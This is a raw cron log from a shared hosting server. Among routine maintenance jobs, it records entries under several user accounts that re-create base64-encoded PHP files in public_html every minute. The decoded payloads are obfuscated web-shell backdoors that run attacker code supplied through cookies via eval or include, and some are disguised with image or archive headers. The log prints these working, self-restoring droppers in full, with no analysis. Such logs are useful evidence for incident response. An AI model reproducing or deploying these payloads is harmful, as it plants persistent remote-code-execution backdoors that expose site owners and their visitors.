Mar  1 11:10:01 medusa CROND[18966]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:10:01 medusa CROND[18965]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:10:01 medusa CROND[18963]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 11:10:01 medusa CROND[18968]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 11:10:01 medusa CROND[18967]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:10:01 medusa CROND[18976]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:10:01 medusa CROND[18977]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 11:10:01 medusa CROND[18982]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 11:10:01 medusa CROND[18978]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 11:10:01 medusa CROND[18979]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 11:10:01 medusa CROND[18981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:10:01 medusa CROND[18980]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 11:10:01 medusa CROND[18993]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:10:01 medusa CROND[18984]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 11:10:01 medusa CROND[18994]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:10:01 medusa CROND[18974]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 11:10:01 medusa CROND[18989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:10:01 medusa CROND[18985]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 11:10:01 medusa CROND[18983]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 11:11:01 medusa CROND[9239]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:11:01 medusa CROND[9240]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:11:01 medusa CROND[9241]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 11:11:01 medusa CROND[9242]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:11:01 medusa CROND[9243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:11:01 medusa CROND[9245]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:11:01 medusa CROND[9246]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 11:11:01 medusa CROND[9249]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:11:01 medusa CROND[9251]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:11:01 medusa CROND[9250]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:11:01 medusa CROND[9256]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:11:01 medusa CROND[9257]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:11:01 medusa CROND[9262]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:12:01 medusa CROND[31953]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:12:01 medusa CROND[31954]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:12:01 medusa CROND[31955]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:12:01 medusa CROND[31956]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
